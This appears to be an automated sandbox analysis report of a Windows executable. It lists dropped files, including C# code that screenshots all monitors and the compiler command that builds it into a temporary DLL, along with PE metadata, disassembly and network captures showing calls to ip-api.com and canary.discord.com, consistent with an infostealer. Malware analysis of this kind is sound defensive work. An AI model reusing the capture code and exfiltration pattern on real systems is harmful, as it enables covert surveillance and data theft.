Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...b.o.h.k.a.n.2.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...b.o.h.k.a.n.2.x...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.385372746648231
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfK2kWZEifK2h:V3ka6KOkqeFkOfbEiff
MD5:	FFD41C26E0CE05043080AC778696A27B
SHA1:	40A898742AA386E1A94DC9C786A57960A2617AB8
SHA-256:	ED942CE0ADEB5ACBA5FCAD0482487D351FDB14986D450A7F2081004743CD75D7
SHA-512:	50B73F7709949C4F262EBF91091D5116772C1F3665000A5BA4510F8559BF0B9AF9154F0FC65D49E41656D7F2B03DEF08752BFA52C416EBEA033F8DAA7989DCEF
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.0.cs"

C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.159423636460403
Encrypted:	false
SSDEEP:	48:6H7oEAtf0KhzBU/ff6mtJDgN0MopW1ulZa31q:1Nz0KmEOMObK
MD5:	1F8C0D8BC3AA839238477B4DE10F75B7
SHA1:	F4A5EEF0E3563B7137525AABAE7382144D744B43
SHA-256:	B6478A084879FE723B520FCDC77CCEB2942271E24B32D68C4D8118E675B95307
SHA-512:	600AAAFA56A04A6032C1EC9AEC3234C8E83FB99A56C4A61202E1FF7BC18E959D6675F1D8A839868D9E4F09D8C4274E90D63F148679F78B2518BD7AB7424DE1BD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k6.f...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (708), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1148
Entropy (8bit):	5.512406912468472
Encrypted:	false
SSDEEP:	24:KJfDId3ka6KOkqeFkOfbEifGKax5DqBVKVrdFAMBJTH:uDkka6NkqeFkybEuGK2DcVKdBJj
MD5:	8EC65E50C60C4454F60AA853FE8976E6
SHA1:	FD8042F2F254CE56BBEEADA907840F709DD82553
SHA-256:	D8ABE0B617D56D0852C1903249944BC287300743C7E01254706C0F453DB69C95
SHA-512:	8A26DDE31A90924D546C375173E0389695903F6D8C8D51361E49E5B12BCBD5717A308BD3DBD574030B287BAD710765C4146BE6527001D84D823B73DFBD48AF12
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.9896081274846615
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	e45AiBoV6X.exe
File size:	6'146'615 bytes
MD5:	3e6d7972822636f67ccf275ebd140188
SHA1:	b0a6df78dad3b697458d9296df134900b4b33177
SHA256:	483a8ed2f54ab848a850e9b97207c3ed638ddd3e9fb01d19746f5d5b12e30525
SHA512:	33ddaf1be46b12f5e954ca048029937262ada1d07063dccc2bb690d11ac304c6f2617be4f2c94fcc65f78e59dfbeb4d58f53b3bec0badc39280864e8a204d5c1
SSDEEP:	98304:5I+nhjqJAEi65sn6Wfz7pnxCjJaWlpx1dstaNoSwKHf1c3z5MOueAeFJ9h4krWsT:5bnJiDOYjJlpZstQoS9Hf12VKXWb4CsG
TLSH:	52563359726009F2F8B7827C8C828D0AEE3778140750D6DF43A047B55F67AE19E3BBA5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Xhc.Xhc.Xhc...`._hc...f..hc...g.Rhc.....[hc...`.Qhc...g.Ihc...f.phc...b.Shc.Xhb..hc.K.g.Ahc.K.a.Yhc.RichXhc.........PE..d..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000c0d0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x668FE8D7 [Thu Jul 11 14:14:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	456e8615ad4320c9f54e50319a19df9c

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	29/09/2021 01:00:00 29/09/2024 00:59:59
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F7448ECC90Ch
dec eax
add esp, 28h
jmp 00007F7448ECC52Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F7448ECCCD8h
test eax, eax
je 00007F7448ECC6D3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F7448ECC6B7h
dec eax
cmp ecx, eax
je 00007F7448ECC6C6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003843Ch], ecx
jne 00007F7448ECC6A0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F7448ECC6A9h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F7448ECC6B9h
mov byte ptr [00038425h], 00000001h
call 00007F7448ECBE05h
call 00007F7448ECD0F0h
test al, al
jne 00007F7448ECC6B6h
xor al, al
jmp 00007F7448ECC6C6h
call 00007F7448ED9BFFh
test al, al
jne 00007F7448ECC6BBh
xor ecx, ecx
call 00007F7448ECD100h
jmp 00007F7448ECC69Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000383ECh], 00000000h
mov ebx, ecx
jne 00007F7448ECC719h
cmp ecx, 01h
jnbe 00007F7448ECC71Ch
call 00007F7448ECCC4Eh
test eax, eax
je 00007F7448ECC6DAh
test ebx, ebx
jne 00007F7448ECC6D6h
dec eax
lea ecx, dword ptr [000383D6h]
call 00007F7448ED99F2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c76c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x49000	0x940	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x46000	0x2208	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x5da5ef	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a000	0x768	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39dc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39c80	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x450	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29210	0x29400	aca64598002ecff9eefbc96554edf015	False	0.5511067708333334	data	6.4784482217419175	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12642	0x12800	b8b2005e12886bf623432f44aa9179a9	False	0.5245724239864865	data	5.7508719472021905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x73d8	0xe00	d0a288978c66419b180b35f625b6dce7	False	0.13532366071428573	data	1.8378139998458343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x46000	0x2208	0x2400	74cf3ea22e0a1756984435d6f80f7da5	False	0.4671223958333333	data	5.259201915045256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x49000	0x940	0xa00	ab2532e179b4d6b0740f2d9f6cc35b70	False	0.426953125	data	5.1261425343830815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4a000	0x768	0x800	71de9271648326ec88350e903470cf3e	False	0.5576171875	data	5.283119454571673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x490a0	0x390	data			0.4605263157894737
RT_MANIFEST	0x49430	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, GetLastError, FormatMessageW, GetModuleFileNameW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, CreateDirectoryW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, GetEnvironmentStringsW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, WaitForSingleObject, Sleep, GetCurrentProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, IsProcessorFeaturePresent, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2024 22:16:30.609232903 CEST	49742	80	192.168.2.4	208.95.112.1
Jul 20, 2024 22:16:30.614608049 CEST	80	49742	208.95.112.1	192.168.2.4
Jul 20, 2024 22:16:30.614850998 CEST	49742	80	192.168.2.4	208.95.112.1
Jul 20, 2024 22:16:30.614850998 CEST	49742	80	192.168.2.4	208.95.112.1
Jul 20, 2024 22:16:30.620229959 CEST	80	49742	208.95.112.1	192.168.2.4
Jul 20, 2024 22:16:31.112606049 CEST	80	49742	208.95.112.1	192.168.2.4
Jul 20, 2024 22:16:31.304709911 CEST	49742	80	192.168.2.4	208.95.112.1
Jul 20, 2024 22:16:31.376488924 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.376574039 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.376672029 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.397763968 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.397846937 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.882910013 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.883514881 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.883578062 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.885303974 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.885533094 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.886219978 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.886359930 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.886570930 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.886570930 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.886646032 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.886742115 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.886883020 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.886948109 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887100935 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887176037 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887315989 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887356997 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887425900 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887458086 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887491941 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887511969 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887540102 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887566090 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887579918 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887607098 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887640953 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887661934 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887701988 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887722969 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887748957 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887767076 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887797117 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887829065 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887893915 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887893915 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887917042 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887937069 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.887964964 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.887984991 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.888015032 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888030052 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.888067961 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888083935 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.888109922 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888127089 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.888147116 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888171911 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888186932 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.888226986 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888262033 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888293982 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888333082 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888351917 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888386965 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888386965 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888442039 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888477087 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888536930 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888583899 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888622046 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888622999 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888663054 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888699055 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.888725996 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.898308039 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.898610115 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.898701906 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.898772001 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.898821115 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:31.898823977 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:31.898921013 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:32.816890955 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:32.817123890 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:32.817205906 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:32.817362070 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:32.817399025 CEST	443	49743	162.159.137.232	192.168.2.4
Jul 20, 2024 22:16:32.817662954 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:32.818172932 CEST	49743	443	192.168.2.4	162.159.137.232
Jul 20, 2024 22:16:32.933613062 CEST	49742	80	192.168.2.4	208.95.112.1
Jul 20, 2024 22:16:32.939532995 CEST	80	49742	208.95.112.1	192.168.2.4
Jul 20, 2024 22:16:32.939750910 CEST	49742	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2024 22:16:30.599179983 CEST	53099	53	192.168.2.4	1.1.1.1
Jul 20, 2024 22:16:30.608401060 CEST	53	53099	1.1.1.1	192.168.2.4
Jul 20, 2024 22:16:31.365683079 CEST	51022	53	192.168.2.4	1.1.1.1
Jul 20, 2024 22:16:31.375628948 CEST	53	51022	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 22:16:30.599179983 CEST	192.168.2.4	1.1.1.1	0xf734	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:31.365683079 CEST	192.168.2.4	1.1.1.1	0xa79f	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 22:16:23.395530939 CEST	1.1.1.1	192.168.2.4	0x1a0f	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:23.395530939 CEST	1.1.1.1	192.168.2.4	0x1a0f	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:30.608401060 CEST	1.1.1.1	192.168.2.4	0xf734	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:31.375628948 CEST	1.1.1.1	192.168.2.4	0xa79f	No error (0)	canary.discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:31.375628948 CEST	1.1.1.1	192.168.2.4	0xa79f	No error (0)	canary.discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:31.375628948 CEST	1.1.1.1	192.168.2.4	0xa79f	No error (0)	canary.discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:31.375628948 CEST	1.1.1.1	192.168.2.4	0xa79f	No error (0)	canary.discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Jul 20, 2024 22:16:31.375628948 CEST	1.1.1.1	192.168.2.4	0xa79f	No error (0)	canary.discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

canary.discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	208.95.112.1	80	7396	C:\Users\user\Desktop\e45AiBoV6X.exe

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 22:16:30.614850998 CEST	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.2
